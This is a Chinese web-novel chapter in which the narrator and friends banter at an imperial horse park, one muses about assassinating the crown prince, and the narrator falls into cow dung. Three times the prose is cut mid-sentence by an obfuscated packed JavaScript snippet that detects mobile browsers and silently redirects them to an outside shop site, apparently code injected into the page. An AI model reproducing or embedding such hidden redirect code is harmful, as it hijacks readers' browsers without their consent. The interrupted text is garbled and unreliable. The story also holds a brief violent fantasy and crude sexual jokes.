《长安梦华录·凡界(下)》 1. 引子 书接上部…… 小时候,我就喜欢午后这个时段,我喜欢晒着斜阳不太燥热的光束枕着母后的腿,听她讲故事,听她哼着歌。那时候我总是不经意就睡着了,总睡的特别踏实,特别香甜。 南唐靖难政变之后,我和平安流落北汉,就再也没有那样舒服踏实,惬意美好的午后,直到现在,我躺在平安的腿上,听她唱着《晚霞中的红蜻蜓》,上林苑的风轻轻地吹着…… 我们曾经终日游荡在上林苑,漫长而无忧无虑的日子,大概是我们此生最好的时光。彼时我并不知道那个盛夏,将是我人生中唯一的盛夏,以后的盛夏不过是在重复或者寻找那个盛夏的影子。 上林苑的草场广袤无垠,暑气被清风吹散,斜阳懒懒的,走得慢吞吞的,这个时候是最合适游玩的。 在丛芳园忙完了草木染,我们上下其手收拾打扫,将园子恢复原样。韩燕熙回了太子处,我们一行人出了汤泉宫,直奔上林苑三十六所养马场南苑找郑清,打算等他下值,晚上一起去夜游长安城。长安城的宵禁马上就要恢复了,我们要抓住这个尾巴,好好玩玩。 夏日,天气燥热,马儿们也会难受,所以驯马任务通常是在清晨暑气未上,或午后暑气退下这两个时段展开。我们来到南苑的时候,郑清他们正在忙着训练任务。 驯马场外围有皇家卫兵把守,不允许外人随意靠近。即便是惠王和齐王的车驾,也得按规矩停在远处,毕竟惊了那些野性还未驯服的马匹,伤了人伤了马都不好。 我和花铁铁,平安还有柳花郎坐在小山岗的树荫下,几步开外惠王和齐王在临时行帐中喝茶对弈。 柳花郎用笛子吹着《永远同在》这首曲子,我们静静欣赏原野的景色,风把悠扬的旋律吹散到草场的每个角落…… 平安说上林苑的夏天,胜过宫崎骏笔下所有,蓝天白云青草地,还有她的大青山。平安掀开围帽,痴痴地看着远处意气风发英姿飒爽的她的心上人。 花铁铁见到郑清,满脸失落和不解。就这么一个人!她实在不明白来的路上提起郑清,平安为什么会生出那般掩饰不住的对她的防备,好像生怕她会一眼就看上郑清,抢去了一般。 她倒是有那个本事,可她不屑抢这样的男人,“简直……平平无奇。”有什么好藏着掖着不愿介绍给她认识的呢?花铁铁扯了扯嘴角,道。 那时候,我和花铁铁都不知道,自爱上一个人的瞬间起,那个人在你眼里就千般好万般好,整个人都是带光圈儿的,头上都是顶着光环的。平安眼中的郑清和我们看到的是不一样的。 柳花郎吃惊地瞪着大眼睛,有些夸张道:“喂喂喂,你不要乱讲好吧,郑清人品相貌都是上乘好吧,你的评价太有失公道,语气也未免太不给人面子,噎,上一个被说是平平无奇的还是金庸笔下的杨过。”柳花郎忽然像是想到了什么,对一边的平安道:“白古的杨过……你看郑清是不是有点……有点像?” 平安眼睛一亮:“你这么一说,果然……” 我和花铁铁并不知道白古的杨过是什么,也不知道柳花郎和平安打什么哑谜,但我讨厌柳花郎那种天生仙骨还是穿越者的优越感,总是不经意间就把旁人搞得莫名其妙的自卑,偏他不自知。所以我习惯性地选择保持沉默不懂装懂,他若继续往下说我就听着,否则我也绝不多问。 我顺便拉了拉打算询问的花铁铁,给她一个眼色,暗示她也不要多嘴找不痛快。 平安听了花铁铁对郑清的评价,并不像柳花郎那般计较,反而松了口气似的,心安地呵呵笑了笑。 我知道她不是不在意另一个样貌身段不输她的女人对自己情郎的评价,而是她明白花铁铁那样有失偏颇有失公允的说辞,不过是一个女人对另一个女人的理解和善意。 花铁铁一副实在看不上郑清的样子,虽然驯马时的郑清是意气风发的,最帅最耀眼的,这一点大家有目共睹,连我也得承认,但她还是一脸嫌弃的侧头问平安:“他哪点配得上你,你是怎么看上他的?” 或许花铁铁的不解是真的,因为她即便是在江湖闯荡的时候,也没有几个男人轻易能入得了她的眼,堂邑夫那种一身本事的她都瞧不上,郑清这种马奴出身的她就更看不上了,她是真的不理解像平安这样的顶级美人,为什么对郑清这样的男人痴心绝对,死心塌地。 别说她不理解了,很多人都不理解,平安对郑清的感情,实在没办法用青梅竹马的情份就解释清了,于是我只简单说是王八看绿豆,缘分使然,天注定。 花铁铁那般询问,平安的笑意更甚了,深情道:“我见众生皆草木,唯有见他是青山。” 我不知怎的顺口就接上道:“我见青山多妩媚,料青山见我应如是。” 不等众人夸我吟诵的诗好,花铁铁一脸茫然的上下打量了我一番,道:“妩媚?就你?青山眼瞎啦?……” “啊哈哈哈……” 除了黑着脸僵在那里的我,众人都笑了,包括平安,还有皇帝刘景和太子等人。 皇帝刘景和太子殿下,他们在汤泉宫批阅奏折,忙碌政务累了,便微服出宫到上林苑散心,老远就看见山头上我们几个排排坐的身影,路过我们这边,听见我们闲谈打趣,觉得甚是有趣儿。 我们几人赶紧转身行礼附身跪拜,刘景笑着叫我们平身,就与太子去惠王齐王的帐子里小坐闲谈。 太子说这里风景不错,身着便衣的皇家守卫们就找了块空地,开始搭建营帐。 花铁铁懊悔自己刚才行礼的时候,动作太标准,头磕的太扎实,没来得及抬头看一看天子的神颜,连天子鞋上的花纹都没看仔细。于是壮着胆子去行帐那边讨水喝,结果给外围的守卫拦住,几步开外的李大公子面无表情的扔了个水囊给她。 她一脸失望的抱着水囊回来,黑着脸小声嘟囔着抱怨:谁要用他的水囊喝水。 “那你接怀里抱回来干什么?”柳花郎怼她。 花铁铁把水囊往柳花郎身上一扔,愤怒道:“让他也没得水喝!”花铁铁还记着和李大公子初次见面的那一刀之仇。 柳花郎是不敢真正惹恼花铁铁的,只敢把水囊放到一边儿,瘪瘪嘴小声嘀咕,说花铁铁蠢坏蠢坏的,人李大公子李档李伯户是堂堂东宫太子亲卫,太子勋卫,太子翊卫三卫卫长,人缺了一个水囊就喝不上水了? 果然,上林苑响起了柳花郎被花铁铁追打的惨叫声。没人去帮他,因为大家都知道,花铁铁没想把他怎么样,他也识趣的没喊救命,只是叫得很大声。 花铁铁不用内力,手上的力气也不会轻的,但绝对不会是柳花郎表现的那种程度。几声惨叫后,花铁铁就很有数的收手了,转身回来,谁知柳花郎从地上爬起来的时候,一个趔趄没站稳摔了个大马趴一脑门儿顶花铁铁屁股上了,两个人都惊住了,然后,对视,愣了一下,于是…… 柳花郎不愧是协律郎,这嗓子这喊声叫得人心里痒痒的,还真是……欠揍! 好一会儿,我都有些忍不住了,正要大展身手,叫声戛然而止。只见花铁铁心满意足的回来,后面跟着捂着揉着身上疼痛,委屈的像个受气小媳妇一般的柳花郎。 平安低声浅笑道:“花郎还真是会,情绪价值拉这么满,不几声就把铁铁的怒气怨气都平息了。” 我想花铁铁虽然没用内力,但是铁拳打在身上也是真疼,她平息怨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309867|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒之气的痛快可能不仅仅因为柳花郎给面子叫得惨。多半是真的发泄痛快了,柳花郎居然还能囫囵个儿?呵呵,果然天生仙骨就是不一样。 不过柳花郎还是太全面了,经常被我和平安揍,都总结出如何在女人的铁拳下劫后余生的心得了! 没见到皇帝,花铁铁是有些怨气的,被李大公子扔水囊打发了,也是敢怒不敢言。柳花郎所谓的正好撞枪口上了,也不那么简单。他和花铁铁的过节太深,如果他不想和花铁铁修好,完全可以躲着花铁铁,没必要一个劲儿招惹。 如今这番情形我们都明白其中用意,男人和女人缓解情感,打打闹闹无疑是最快最接地气儿的方式。 花铁铁也给面子,愿意就着台阶下来,不然一拳头下去柳花郎就死了,别说天生仙骨,神骨也没用。而且花铁铁最讲江湖规矩,打人不打脸,还避开男人“尊严”。小粉拳全都打在无关紧要之处,这点让平安更加钦佩她。 平安迎上前去,扶柳花郎回来坐下,花铁铁叫平安不要管他,说自己下手没那么重,柳花郎太能装。 柳花郎躲在平安身后,讽刺花铁铁拳头太硬,力大无穷,体壮如牛,果然彪悍如虎…… 这个嘴啊,少说一句,能死!所以,自然,又是一番推推搡搡…… 我微微笑着,静静看着,我喜欢看朋友们疯闹,看朋友们嬉笑,一切都让我感到无比幸福。即便到了老年,还保持这个习惯。 终于,那边驯马任务结束了,平安欢欢喜喜地跑去郑清身边,柳花郎也跟着跑过去。我叫他回来别扰我妹妹,他回头看了看我,又看了看花铁铁,还是一瘸一拐的跑了。 我和花铁铁躺在草地上,看着天上金色橙色红色粉色……不断变幻的云,花铁铁有意无意的样子,向我打听杜晦的事。我只说我和堂邑夫从高句丽回来,走辽东傍海道的时候碰上的,那时候他已经重伤将死,我用内力撑着,带他去洛阳我师兄苏和的药庐,合力救治才保下命来。其它细节,一概不论。 花铁铁却要刨根问底儿,有些事我现在是没办法和她说的,只坐起身来,转了转眼睛,想编点瞎话搪塞过去。 还没开口,就被花铁铁识破,她翻身起来,一手撑着地,一手指着我的鼻子尖,道:“得得得,别说,先,别,说!瞧瞧瞧瞧,一包心眼子又开始了,是不是又想编瞎话骗我?” 被揭穿了心事意图,我后心瞬间一紧,如芒在背,却强壮镇定,风轻云淡的一笑,颇有些死猪不怕开水烫,其实慌得一批。 花铁铁背对着夕阳,逆光中的她度了一层金边,我被夕阳的光束照得睁不开眼睛,她侧了侧身子,将我笼罩在她的影子里,然后用胳膊肘子顶了我肩头一下,道:“哎长安,你知道你撒谎的时候挂相吗?以前我愿意配合你,喜欢配合你,也习惯配合你。可你知道吗,你每次撒谎骗我的时候,我其实比你还紧张,即怕你骗不了我,又怕假装被你骗过去,哪天却又被你拆穿了,你反倒生气责怪我蒙骗你……” “那你这会儿拆穿我干什么?”我还没说呢!我心里刚编好瞎话草稿,觉得这次堪称完美,你竟然不给我说的机会?连带之前的也给揭穿了,简直气死我了,你愿意,你喜欢,你习惯配合,“那你继续配合啊?”我撅着小嘴巴,别着头,叉着腰,表示抗议,完全没有撒谎那方才是过错方的觉悟。 “叉腰叉这么高啊,都叉到胳肢窝了,要是没有胳肢窝拦着,岂不是要叉到脖子了?”花铁铁一边说着一边比划,然后戳了戳我的总角道:“本来个头儿就小,这会儿像长了翅膀似的,和你头上这俩总角还挺搭,跟个绿头苍蝇一样!嗯,长安真是好可爱啊!”说着花铁铁抱着我狠狠亲了一口。 2. 吃席 就算花铁铁用再好听的声音,再轻柔的语气,我也听得出好赖话。 绿头苍蝇?!好你个花铁铁!“你才是苍蝇,你们全家都是苍蝇!”我闻言瞬间就恼了,哪里肯乖乖让她继续亲亲? “好可爱,生气也好可爱,乖嘛乖嘛,让我亲亲嘛,亲亲啊!”花铁铁完全无视我的反抗。 “可爱个屁,我都成苍蝇了,你喜欢苍蝇,你去逮苍蝇亲去,做什么老是亲我,美女亲多了也臭臭的,你看,你闻闻,又给我亲臭啦,回头真该招苍蝇了。”我别着头,躲着她的樱桃口,擦了擦她亲过的地方,闻了闻手,把果然臭臭的手凑到她鼻子上,强迫她也闻闻,她自然不肯,于是我们又嘻嘻哈哈打闹起来。 忽然花铁铁按着我的肩头,十分严肃地道:“长安,不仅今天我不再配合,以后也不会再配合,因为你的骗术是你的短板,太肤浅太拙劣了,我配合的实在辛苦不说,最重要的是,这次对你失而复得,我珍惜的很,我不想咱们之后再继续互相骗了,哪怕是演的也不行。” 我怔怔地看着她,明白她的意思,点点头道:“好,我不骗你,杜晦的事儿,我会和你讲的,但不是现在。” 不远处刘景和太子的营帐已经搭建完成,身着便衣的皇家卫队,各司值守。看着那些布防,花铁铁不觉本能的侦查分析,在脑海里不断演示这种情况下刺杀太子的行动。 作为我们这个境界的高手,会有本能的捕猎思维,强烈的征服欲和嗜血性,让我们总是忍不住在脑海里尝试预设各种围猎方法,直至成功。猎物往往在我们内心深处的演练中成功逃脱很多次,可一旦我们出手,就如同长空锁定目标的雄鹰,俯冲而下,猎物终将在劫难逃。 一击致命的胜利,带来的快感,往往爽到我们迫不及待跃跃欲试…… 我和花铁铁就是彼此的一面镜子,这种情况,我们通常会干什么,彼此心知肚明,看着安静专注的花铁铁,我叫她赶紧打住,不要胡思乱想那些有的没的,人已退出江湖,就要和过去的所有告别,尤其是杀手的习惯,本能,行事作风……统统都要断舍离。 被我看穿心思,花铁铁呵呵一笑,看着我道:“我师父那代人在江湖上做任务的时候,都是暗杀,从来不明着来,你倒好,自从你出现,江湖规矩一改再改,你成为凤主才多久啊,江湖人做任务的方式就都按照你的风格来了。甚至南唐都开始盛行,对暗杀倒不耻起来。” 那还多亏了你和杜晦带头支持。 花铁铁见我没插嘴,便接着道:“那些傻子,江湖人就是江湖人,遵守基本的江湖道义就行了,没那个本事整那些没用的干什么?搞什么‘诸神的黄昏,帝国的未来’,截杀行动闹这么大动静。一群江湖人和人皇家硬碰硬,脑子真是进水了。这下好了吧,团灭了吧?说实在的,这任务要是按老一辈儿的法子搞暗杀,哪儿能轻易失败?早成功了,怕是这会子你家太子的席面都张罗好了,前来吊唁的宾客随上奠仪礼金,都该喊开席了。” 开席?!!哼,北汉大内高手如云,太子身边能人辈出,即便是暗杀,也不见得能成功。花铁铁的这番话不是惋惜那些江湖杀手用错了刺杀方式,而是震惊我对江湖的影响力。 “呸呸呸,别胡说八道。”我蹙着眉头,叫她赶紧闭嘴:“什么席面不席面的?你以为皇家和平头百姓一样呢?还随什么奠仪上份子?你见过哪个皇帝到处人情世故,跟人拉这种来往的?跟谁拉,跟大臣拉?噢,谁谁谁哪个大臣家里爹死了娘没了,皇帝携太子带着银钱黄纸扎彩子去随份子封奠仪,回头出完殡了,还得坐那吃完席再走?赴国的亲王没法儿来,是不是还得叫人代?” 你看你那没见过世面的样子,我一脸嫌弃的白了一眼花铁铁,接着道:“噢,回头皇家有事儿了,大臣们是不是还得翻翻礼单,看看当初有没有和皇家拉这个来往,怎么拉的来往?拉了多少来往,算一算多少银钱多少黄纸几个扎彩子,照单还回去?哦,一看没拉来往,那不去了,坐家里喝茶拉闲呱吧,这不找死呢吗?” 花铁铁闻言,大剌剌地哈哈笑起来,呲着牙说我见多识广,问皇家办殡仪有席面不,席面菜式怎么样啊。 我啧了一声,道:“你是哪个村儿里来的,你们南唐这么落后吗?乡土气息这么重?南唐皇室虽然凋零,可世家门阀多的是,你没见过皇家的,还没见过世家的吗?实在不行,你回你们南唐去把摄政王他爹杀了,我敢保证摄政王那个奸佞能给他爹按照皇帝的规制下葬,你正好潜入王宫长长见识,偷吃席面,不仅一饱眼福还能一饱口福,到时候也好回来给我讲讲,让我也开开眼儿。” 花铁铁抽了一下嘴角,道:“我能给你多开几个腚眼儿信不信?哎……我一开始想说什么来着?”花铁铁忽然想起什么,一副气笑了的样子,道:“都给你带跑偏了,我的重点根本不是吃席,好吧?” 我疑惑茫然的看着她。 花铁铁想了半天,道:“哦,想起来了,我是想问你最初是怎么想的呢,你不擅长说谎,喜欢直来直去,连做任务都明着来。自打你闻名江湖,江湖上的风气就变了。暗杀成了不入流的行径,只有那些小喽啰暗中为之。渐渐的,大家仿佛生出一种行侠仗义,替天行道的使命感,都豪杰起来,对你的行为争相效仿,把你的话语奉为圭臬,尤其上郡隆御山庄大案之后更是如此。” 我可不是不擅长说谎,只是有些谎我不屑说,不屑用心说,随口搪塞而已。 江湖上的刺杀行动分为明杀和暗杀,但之前几乎没有人采用明杀的方式执行任务,而是多搞暗杀,使用暗器,或是下毒,甚至美色……为了完成任务无所不用其极,手段极为上不得台面,但到底是为了糊口,以命相搏,九死一生,也没什么好指摘的。多少年了,江湖上的恩恩怨怨,都是这样腥风血雨过来的,这也是江湖被人诟病的原因之一。 我从来没觉得当初自己闯荡江湖的行为做派,有什么值得标榜和推崇的,唯一庆幸的就是,种善因得善果,机缘巧合之下,解了太子一劫。 不管明杀还是暗杀,有一点得承认,我们都是习惯厮杀的猛兽,猛兽捕捉猎物,可以失败很多次,只要成功一次,就不会挨饿。 可是一旦成为猎物,就会被动,那便只能成功,无数次成功,只要失败一次,就万劫不复!不怕贼偷就怕贼惦记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309868|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是人就总有失误的时候,而往往一个小小的失误,就决定着成败生死。 若是那些江湖杀手当初选择暗杀,那太子这边儿便没那么轻松躲过,毕竟明枪易躲暗箭难防!耐心极强的江湖杀手,他们会不舍昼夜的只为等待东宫的一个疏漏伺机而动。这种事情,躲得了初一躲不过十五,即便是我天天守在太子身边,也不敢打包票。那么诚如花铁铁所说,去东宫吃席也不是不可能。 我在江湖太久,深谙其道,深得其利,也深受其害:方才花铁铁本能的对太子营帐的守卫洞察分析,在心中不断演示刺杀行动,不断修改不断精化进攻方案的时候,我那样决绝的打断她,是因为久违的危机感,让我也本能的将她视作猎物,产生了杀意。 有那么一瞬,我甚至已经开始谋算对比我们的内力差距,思量哪个招式够漂亮配得上她,看着她的脖颈子,听着血管里汩汩流动的血液,推演哪个角度下手,才能快准狠,期待划破喉咙皮肉阻断最终分离的手感,怀念热血喷涌袭面而来的感觉,一想到空气中会充满鲜血的腥味和潮热,就兴奋不已,汗毛直立,心跳不觉加速而分外有力,嗜血的细胞叫嚣着唤醒沉睡的恶魔…… 螳螂捕蝉黄雀在后,捕猎者的狂欢畅快淋漓,花铁铁不知道她有多畅快的同时我有多淋漓。她也不知道我是多么克制,才能若无其事,一副清醒理智的样子,劝她与过去断舍离,那番话说得义正言辞,何尝不是点醒,警告我自己!? 在江湖闯荡了这么多年,我居然已经沉迷明杀的挑战感和成就感,意识到这一点,我内心震惊不已,额角竟沁出一层薄汗。 我顿了很久都没做回答,花铁铁有些不耐烦的催促。我才缓缓道:“我当年学有小成,初出师门历练,我师父就嘱托了,我去江湖,做任务杀人不是目的,挣钱也不是目的,重要的是我要历艰难险阻,品人间百味,见人情世故。唯有这样才能提高境界,增进武学造诣。” 我语气轻松:“江山代有才人出,一代更比一代强,你看你师父那一代人有几个玄止境?即便达到玄止境,都多大岁数了,九品上的又有几个?可是你看咱们这一代,是不是人才济济啊?暗杀是为了赎金,乘人不备,能提升什么?明杀是为了历练,正面危险,直面生死,人才有长进不是?” 花铁铁认真地将我的话思考一番,反复品味,最终面色庄重地点点头,道:“竟然是这样,原来你一开始就不一样……真是磊落啊,此心光明,如太阳一般普照大地,我们这些人,不知不觉,未知未觉,无形中竟也共你和光同尘,何其有幸。”花铁铁呵呵笑了笑,“如此也算得了你那谪仙师父的教诲,受益良多。” “那你可得报答我。” “好啊。” 我们相互依偎着对视一笑,天边的晚霞真美,美得将一切染得通红,红红的花铁铁,红红的我。 我看着远处和郑清漫步原野的平安,她牵着郑清,郑清牵着马,她脚步轻快,时而难掩欢喜地雀跃,时而双手拉着郑清,有说有笑的倒着走,时而跑开折几支小花儿,又快步回来,送到郑清鼻端,让他细闻,问他好不好闻,然后拿到自己鼻下细细轻嗅…… 3. 牛粪 看着这样快乐美丽的平安,我痴痴入神,好想和她那样迈着曼妙的步子,行走在阳光下。我如此想象着,不经意低头看向自己孩童模样的手脚,心口瞬间揪得生疼,疯狂嫉妒渴望着拥有如平安般美好的身体,哪怕一天也好,不,一个时辰就好。 我想做的那件事儿,一个时辰足够了…… 我独自咽下苦涩,完全没注意到花铁铁漫无目的四处踅摸的目光忽然在某处定住,然后一脸计上心头的坏笑。 花铁铁凑过来,低声道:“咱们玩个好玩儿的啊?” 她因为太过兴奋,脸上的坏笑并没有全部收敛褪去,我警觉地往后退了退道:“玩什么?你都笑成这个坏样子了,能有什么好啊……”我“玩”字还没说出口,花铁铁照着我的脸就是一巴掌,然后转身就跑。 我们江湖人最是讲道义,她不用轻功逃,我自然不用轻功追,那就纯拼脚力,我不见得会输。可是下一刻,我就后悔了。 花铁铁跑了两步忽然停下伸出脚绊我,我躲闪不及,顺着小山坡一路翻滚下去,随着惯性只听“啪叽”一声,瞬间,新鲜牛粪的味道充满了我的口鼻。 我,摔进一坨新鲜得不能再新鲜的,带着牛牛体温的牛粪里!! 这里虽然是上林苑三十六所养马地,但是时常会有马场的人用牛车往来运送饲料和物品。草地上有马粪牛粪不足为奇。而摔个狗吃屎,整个人都趴进牛粪里的,唯我一人。 但是这么一大坨牛粪,实属罕见,我严重怀疑这牛为了拉这一坨屎恶心我,攒了不知多少天,还偏偏拉在一处小泥洼里。 “嗯嗯……”我嗯嗯着从新鲜的牛粪里艰难坐起身,牛粪有些打滑,经过我一番折腾,这小泥洼,完全成了屎洼子。我在屎洼子里反复趴倒了几次,简直弄得不成样子,眼睛都给糊住了一只,气愤恼怒极了,便哭起来:“嗯哼啊……根本就不好玩,一点也不好玩,我不玩了,呜呜呜……”实在太伤心了,说着我仰头大哭。 山岗上的花铁铁简直要笑死了。我的哭声和花铁铁的笑声引来了众人,大家看见那样子的我,理智告诉他们不该笑,但……现实真的很好笑,所以他们最终没憋住,纷纷笑得前仰后合。 我简直气死了,懊悔不已,我特么讲什么江湖道义,我特么居然没用内力定住,就这么直挺挺的啪叽一声摔进了新鲜的牛粪泥洼子里?!我特么可是一个玄止境的高手嘢!!丢死人了,嘤嘤嘤…… 平安跑过来,一边忍不住笑着一边安慰我,叫我别哭,却手忙脚乱的不知如何下手。郑清上前想将我拉出来,柳花郎拦住他,研究决定去找两根树枝把我叉出来,然后像抬担架一样把我抬进湖里洗洗。 柳花郎拉着郑清转身就去了小树林,还回头嘱托我不要着急,但脸上全是这孩子洗洗还能要吗的担忧。 我内心受到了极大的创伤,难过委屈地只顾着大哭:“呜呜呜,我不干净了,我脏了,我再也不会笑了,我再也开心不起来了,呜呜呜……” 花铁铁感觉到我是真的伤心难过了,就捂着笑抽筋儿的肚子上前来。我不等她是救我还是安慰我或者跟我道歉,总之说时迟那时快,趁其不备,我抓起稀烂的牛粪就朝她甩了过去,弄得她浑身粪点子,她一个飞身躲到远处,骂骂咧咧恶心干呕着到湖里清洗。 这下轮到我暗爽了,我一边从牛粪里匍匐着往外爬,一边哈哈大笑。 山岗上的众贵人们又是一阵大笑。平安笑着从她的斜肩包里,找出一根发带,说要将我拉出来。我摆摆手,坚决打算自己来,这一摊牛粪洼子十分湿滑,她力气小,回头再给她拉倒了,滑进来弄了一身。 刘景身边的老黄门和旦公公上前关切,只是站在稍远一点的地方,就心有余悸的样子不近前来了,只询问我要不要紧。我草,我都成屎孩子了你问我要不要紧。 我还没开口,就给人抓着后脖颈子,拎起来快步走进不远处的湖里。 堂邑夫下学了,他将我带入湖水及腰处,像漂洗衣服一样在湖水里清洗着我。 夏日的湖水晒了一天,此时十分温和。花铁铁见堂邑夫来了,从湖里游上岸,用内力将头发和身上的衣服震干,走开了。 我只漏了一个头在湖面,低着头委屈地嘤嘤。 堂邑夫将我脱下的外衫和裤子扔给岸边的平安,柳花郎和郑清为了不划伤我,费心找来的光滑的木棍,正好折了一截,给平安做棒槌帮我洗衣服。 平安的斜肩包简直是个百宝囊,她随身携带着很多有用的小物品,她拿出自制的鲜花精油皂扔给堂邑夫。 堂邑夫抬手一把接住,动作优雅漂亮。他用精油皂雪白绵密的泡泡,轻柔地把我洗的白白净净,然后把我的头发散开,用平安的篦子洗梳干净。 我一边哭着,一边玩着泡泡,一边哼哼唧唧唱着平安教我的《洗澡歌》。 洗着洗着我忽然就噗嗤一声笑了,虽然很丢脸,但是摔进牛粪这件事我也觉得确实很好笑,我仰头呵呵笑道:“哈哈哈,堂邑夫,我刚才给摔到牛粪里了对吧,哈哈哈……” 见我憨态可掬,众人又跟着我一起笑了起来。 “快别笑了,漱漱口吧牙上都是……”刚要咧嘴笑的堂邑夫与我对视的视线下滑,看见我的牙齿,顿住了。 “哕,我嘴里也有吗,哕,我吃屎了啊,呜呜呜……你小声跟我说啊,现在大家都知道了……”我埋怨着堂邑夫。 又是一阵欢笑,我就说人类的悲喜并不相通。 堂邑夫赶紧捧起湖水给我漱口。 岸上的柳花郎打哈哈道:“刚才我们就看见了,你里里外外都是屎,连个下手的地方都没有,要不然也不用去费事满山找合适的棍子救你。” “滚!你滚!”不提棍子我也不生气,“患难见真情,你和你的棍子我指望不上,你赶紧滚,呜呜呜……”我哭着又含了一大口水,像拨浪鼓一般摇着脑袋使劲儿漱口。 平安送我的针织青蛙不见了,平安在我的脏衣服里翻找了半天也没寻见,我和堂邑夫潜入湖里也没找到,我们又去牛屎洼子里摆弄半天,针织青蛙终是丢了。我很伤心,本来还看不上眼的,失去了才追悔莫及…… 平安安慰我说再给我织一个更好的,可人就是这样,再也回不来的才是最好的。即使新的青蛙还没到手,我也觉得先前那个青蛙更让我欢心,我还没稀罕够。是的,主要是还没稀罕够。 饶是平安的精油皂都用完了,我的外衫和裤子还是一股牛粪味儿,于是我只穿着小肚兜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309869|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和小短裤。虽然是个男孩子模样,但到底有些不好,堂邑夫要把他的中衣脱给我应急。 大概是因为刚才只顾着哈哈大笑,而没有帮我解决困境,刘景有些愧疚,派人去帮我取衣服,叫我去他的帐子里歇息,还把他轻薄的蚕丝罩袍脱给我披上,小孩子穿大人的衣服总是有些滑稽的,他见了又是一阵儿开怀大笑,然后粗手笨脚的像个老父亲一般,慈祥地给我梳头发。 在刘景的帐子里,我吃了好些茶点,意图改改嘴里的牛粪味儿。 刘景给我梳完头,自觉不错,可他的手艺能叫手艺吗?我自然是要去营帐外围找妹妹平安重新梳的,花铁铁看了看我身上的罩袍,说她刚才终于见着大汉天子的神颜了。 我见她那副花迷样子,立即警觉,对花铁铁道:“借种这事儿你就别想了,更不要打我们家天子的主意。一般人没什么大本事,很多事在心里想想也就算了(顶多意淫一下),到底不敢干,也没能力干,所以想想也无所谓,甚至说想都不敢想。可你我还不了解的吗?仗着艺高,人美,胆子肥得很,资要是你敢想,你就敢干。”用柳花郎的话就是虎得一批。 平安给我插好金发簪,笑道:“这话我信。”花铁铁刚才只是发现一坨牛粪,就如此敢想敢干,大家也是有目共睹。 花铁铁觉得平安是在认可她艺高人美,得意地扭了扭肩膀,对平安笑道:“我就当你夸了我哈。” “不要脸。”我噘着嘴巴蹙着眉头瞥了她一眼,一字一顿道:“我再说一遍,不许打我们家天子的主意!那可是天子!!” 花铁铁一副天子又如何的样子,“哼,我一身本事,真要打主意,谁能奈我何?”花铁铁是有些傲气在身上的,“就算是皇宫我也如履平地。” 论吹牛,我谁也不服就服花铁铁,那你刚才还不是给人李大公子一个水囊就打发了?这话我可不敢硬刚驳她面子,要不然就花铁铁的脾气,她能立即行动,证明给我看她到底能不能“如履平地”,一次不行就百次,到行为止。 我低声道:“我可真不是跟你闹着玩,虽然你把我陷害进牛粪里了。”说着我瞪了她一眼,表示不爽,顿了顿,又道:“但作为挚友,我还是得对你实心实意。皇宫大内高手如云,你就是个玄止境,也别想着作完死了再全身而退,只怕一踏进宫门去,就被人拿住了。”见她急了,我连忙道:“你还真别不服,皇宫,那是皇帝住的地方,千军万马的,你胭脂虎就是个铁打的花铁铁,也得给你踏成铁片儿片儿。” 双拳难敌四手,何况是千军万马,花铁铁自然明白这个理儿。 花铁铁看了看那些身着便服依旧英气十足雄姿勃发的皇家护卫,赏心悦目地嘀咕一声也不是不行,随后一副吊儿郎当的样子和我犟嘴道:“呵,那算什么,就算落他们手里又能怎样,忍忍就过去了,一个个英姿飒爽,我也不亏。” 花铁铁说着忽然振奋起来,那样子哪里是觉得自己不亏,简直是赚了好吧。而且她自恃美貌,倒觉得两边都不亏,断定这就是所谓的双赢! 我们打小惯喜欢一起说笑,胡说八道,话不当真,但句句有应。 见不得她那副死样子,我哼哼道:“你可真行,你可听好了,不光有千军,还有……万马!” 4. 万马 空气稍许凝固……平安红着脸噗嗤一下笑出声来,旁边的堂邑夫和柳花郎却纷纷低头咳嗽起来。 “那又怎样?姑奶奶就一个字,照样忍!”花铁铁大义凛然的样子,她最是要强,不肯轻易认输。 我的老天爷啊!!! 堂邑夫深爱花铁铁的事儿,是公开的“秘密”。柳花郎给了堂邑夫一个‘哥们儿口味这么独特吗,你是怎么看上她的,她到底有什么好的’的眼神。 堂邑夫给柳花郎一个‘你懂个屁你滚’的眼色。 不远处不经意听见我们胡聊胡侃的守卫们,也都神色各异,执勤期间他们是不能随意笑的,所以忍得相当辛苦,有的脸上都抽筋儿了,有的腹肌更加坚实了,有的肩膀抖得关节都更灵活了…… 我大赞一声果然不愧是胭脂虎花铁铁,然后激将道:“那你还能忍忍就过去了,我真给你当闺……儿子。”我一时激动说岔劈了。 